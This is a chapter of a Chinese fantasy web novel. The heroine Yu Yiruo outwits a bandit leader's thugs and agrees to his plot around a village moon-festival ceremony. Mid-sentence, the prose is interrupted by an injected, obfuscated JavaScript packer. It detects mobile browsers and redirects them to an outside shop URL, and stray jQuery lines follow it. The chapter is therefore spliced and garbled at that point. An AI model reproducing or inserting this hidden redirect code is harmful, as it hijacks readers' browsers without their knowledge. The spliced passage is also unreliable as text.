余以若呼吸一窒,明白了什么。
“这是什么意思?”
对方没有答话,显然看得出她的明知故问,只笑了笑就把东西收了回去,生怕她去抢似的。余以若定定神色,直接开门见山地说道:“目的是什么?”
“这话应该我问你。”雨季拉了拉衣袖,又比划了两下手上的木棍,像是在恐吓,“你一个外族人来我的地盘打着什么算盘?”
“你抓了我的朋友,把他们放了我自然就会走。”
雨季看了下四周,把手头上的棍子举得更高了些。余以若心道不好,三两步就向后退了好几步,背到身后的手早就捏了张符纸,对方看不到,但不到万不得已,余以若不想把自己的实力暴露。
要不然引来杀身之祸,十成也有九成的概率。
雨季似乎被她这动作惊讶住了,竟停住了脚,玩味地看着她到底会退到哪里去。身后就是人家的墙壁,前面又有他,而侧边嘛,雨季懒洋洋地看了看,有火星子在闪动,都是他的人,这个手无缚鸡之力的弱小丫头能跑到哪里去?除非她是神仙。
“我也不打算在这浪费时间,你也看到了,你没有退路了。要么听我的条件,要么就等死吧!”雨季偏了偏头,满是不在乎地扭了扭脖颈。
吱嘎吱嘎的关节响,平白地让漆黑的四周显得愈发凄凉瘆人。
“条件?”余以若的脚步一顿,薄衫已经靠到了墙壁上。显然她没有了退路,而且这四周有没有人,对方实力如何,她自然是知道的。遂耐下心来,思量对方想要什么,“什么条件。”
“陪我演个戏。”雨季对她这行为很是满意,话语里都藏了点愉悦。
“演戏?”余以若突然笑道:“这一切都是你布的局,我不就在演戏吗?”
雨季表情顿住,不可置信地看向少女讥笑的脸,“你说什么?”
“哦,我在说啊,你这局布得挺好。”余以若道。
“我布了什么局?”雨季的声音显得有些诡异。
余以若不改面色,“自然是你自己知道,又不是我布的,你问问自己不就晓得了。”
“哈!”雨季突然松了口气,“敢情你在套我话呢!”无名怒火突地噌了上来,“弟兄们,别藏着掖着了,把这货给我绑了,关柴房……”说着,少女那张娇俏的脸又浮上了心头,“关牢里去,给我好好看着。”
话一落,藏在草垛子里的的火星子便变成了个个圆滚滚的人头,排排钻出来,挤到了不大的空地上。
狰狞的人头长在粗壮的四肢上,四肢抓着冒着黑烟的火把,滋滋响动的火粒子四处跳动,落到了衣服上,兀地传来股焦香,人头又把火把举得远了些。于是那形似贴上去的面皮,用泥胡乱拍上去的五官,在火光的闪动下,好似魑魅。
“愣着干什么!抓住她!”雨季发令。
壮汉面皮上的嘴巴鼻子扭了扭,但那眼神却始终不变,粘腻腻的,狗皮膏药般,定在余以若身上。
余以若只觉万分恶心。
边秀着刀法的壮汉一边朝余以若走来,一边低贱地对着旁人笑笑,似乎在笑余以若有什么本领,还敢反抗,还不趁早投了他们,也能免几分苦头吃。
“几年没到过外乡人了,突然来这么一位,真是上天垂怜啊!就算玩死了,也不会有人知道……”有壮汉舔舔唇角。
“生得还这般标志……”
正说着,二把手雨季在后面突然发话。
“拿活的!不要伤了人!”
这些壮汉早已按捺不住自己的心,雨季说了什么他们全然不顾。
更有两个壮汉自觉自己能得手,使了吃奶的劲猛地扑将上去,却没想余以若也是轻功了得,一个不小心,人头就插进了沟里。等把头拔出来的时候,一阵腐臭,嘴巴里也沾了不少,下意识舔了舔嘴巴,尝不出味,抓了把咽下,又苦又涩,呸地一声:“他么的,是屎!”
幸灾乐祸没吃上屎的壮汉在旁边捧腹大笑。
月色下衣着绮丽的少女闲散地下降到了最高点,两脚踩在石头上,居高临下看着这群肉虫蠕动,不冷不热地看向雨季开口,“把我的人放了!”
“够狡猾,再这样下去,我怕我都要喜欢上你了。”雨季突然大笑道:“你叫余以若是吧,有没有兴趣和我玩个游戏?”
“现在是我问你,不是你问我。”余以若冷道。
“是吗?你居主导地位?”雨季猛地睁大眼睛,做出一副极为害怕的模样,“那可真是怪可怕的,但是……你以为我不知道,你压根就没什么底牌了不是吗?”
余以若一愣。
雨季抓住时机继续说道:“要是你真有这么厉害,为什么不能近我身呢?”看着少女不说话了,雨季明白自己猜对了,“这不就是打不过了吗?哈哈哈哈哈哈,既然如此,打了个平手,不妨下来我们谈一谈,条件很简单,只需要你的配合就好。”
“是吗?”余以若想了想,一腾空从高处缓缓落下。
月色正好,少女衣摆翩跹,粉蝶飞舞,煞是幅春光明媚,柳意盎然的好图景。底下的人早已看呆了眼,又因刚才就算没吃到屎,脸上也沾满了屎的众人,再看这姑娘时,眼里的淫意早已消逝殆尽,剩下的只有敬畏。
“很好,这才有谈话的样子嘛!”雨季把其他人呵退开,缓步走向余以若,“我只需要你……的配合,其他的听我的。”
“说条件。”余以若避开他伸过来的手。
雨季识趣地收回手,也不恼,只是看向余以若的眼里,藏也藏不住的爱慕意味又增了不少。
底下的壮汉一边狼狈地擦着浑身的屎,一边惊讶地听着他们的对话。几人要不是亲耳所听,还以为自己出现了幻觉,二把手什么时候这么好说话,分明比少女高了一个头不止,但一旦少女开口,他反倒矮了不少。
壮汉逐一揉眼睛,确认自己视觉的确没出问题。
更让他们惊讶的就是,二把手竟然邀请少女去他的宅邸商量接下来的计划。要想知那方宅邸别说是他们,就算是他的亲妹都没去过。机密程度都不消用嘴说,只要去到那里看到疯长的荆棘丛就知道,那地方一般人去不得。
雨季朝他们晃了晃手,就伴着余以若一同走开了。什么话也没留下,但意思再明显不过,就是让他们不要再跟着了。
“我们这是要有压寨夫人了?”有人迷迷糊糊地问了句。
“蠢货!”有人捶了他一拳,“这还不明显,这就是啊!”
“那二把手估计没好日子过了……”有人抱怨道:“这是什么屎啊,擦都擦不掉,这女人着实太可恶了!”
“别说擦了,我看这味道都不知道什么时候能消,要是让隔壁的如花闻到,我这婚事估计要泡汤了!”
“泡汤?汤就没泡成好吧!”那人反驳道:“自己长什么样自己心里没点数吗?如花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795543|169447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分明看上的是我,你个懒□□就甭想吃上鲜花了……”
“你个怂货!在这瞎逼逼什么呢?要是阳痿隔壁家有良药,叫声爹,我去讨几幅给你。”那人一拳砸了过去,“劳资不发威你当劳资是病猫啊。”
“当你是病猫又咋滴,别一天天拿那那龌龊的心思想我家如花,恶心自己就好,恶心别人,还不如自己挖抔屎吃完,也能充个狗当当,叫两声说不定别人都会给两个怜爱的眼神给你。”
又一拳砸了过去,两道身影飘飘摇摇。
打架对他们来说本就是家常便饭,壮汉见怪不怪,一个个地都在地上坐着了,压根没半个人去劝架。两个人打起来新账旧账通通翻了出来,火气正在上头,动静不知多大,早就惊动了旁边的人家。
几户人家战战兢兢地抱着趁手的家伙,纷纷敲开旁边人家的大门。冷酒下肚,一发而上,不分什么,乱棍砸得骨肉四溅,冲天的惨叫惊得鸟群纷纷扶老挈幼,另觅良居。
……
余以若早已到了雨季的宅邸,面积也不大,环境倒是清幽。趁着对方心情好,她还看到了大鸟。大鸟哭得跟个花猫子似的,嘴角还沾着没吃完的米糕,显然是被米糕哄骗去的,余以若连哄带骂安慰了好久才得以脱身。
至于小福,雨季不肯给她看人,说是怕她半夜去偷人。
余以若便无奈地应下他的计划。
荼边村的祭月是个悠久的习俗,起源早已不可追溯,只晓得要在每年种下稻谷的这天,伏地而拜,感念天神的垂怜与庇佑。一来是保来年风调雨顺,五谷丰登,禾苗抽穗稳健。二来感恩去年的收成颇丰,福泽人世。久而久之,便成了个既定的习俗。
由吴婆婆发起主持,选出每年的主祭人,再由扎好的稻人问事,舞乐奏歌,煞是欢快活泼。就是这个主祭人并不是年年都能被选上的,条件异常严苛,不仅需要十二岁将将好的年纪,而且还有个隐晦的要求,救人于水火。
试问又有哪个十二岁年纪的人能有这份力,把自己救了就不错,还救别人,只怕有些狂妄自大的成分在了。又因着当上主祭人是无上的光荣,是以家家户户就算没有这个条件也必须创造条件。利益方面一介入,谁管你是不是真的救了人,只要把主祭人做的结果告知大家,大家自然会信以为真。
余以若接手的计划就是把她自己供出去,言说自己多么多么悲惨,外头灾荒四起,要不是被雨霖救下,只怕早已魂归九泉。雨季说下这个计划的时候,余以若怎么不知道他们对待外族人是个什么惩罚,别人拿的是救她于水火的剧本,她倒好,拿的是把自己塞入水火的剧本。
“要是你不帮,我也有办法让你们这些人统统地下聚头!”雨季威胁道:“除非你下面有人,只怕你死后被我丢哪都不知道呢!”
下面?下界?余以若想着她师兄好像就是鬼王,怎么就不算有人呢?
“这也是小雨的心愿,如果了了她这个心愿,她就会愿意出去。”雨季突然面露忧伤,“你也看到了,别人骂她妖女,她隔壁的人家早就死光了,留了她一个,要不是我处处保着她,只怕她现在早已乱棍打死!”
余以若沉默不语。
“只有当上主祭人,她才愿意离开,否则……谁知道下一个死去的人是不是她……”雨季翻开一卷书册,上面满满当当都是用红笔勾画的名字。
俱是死去的人。
“好,我答应你!”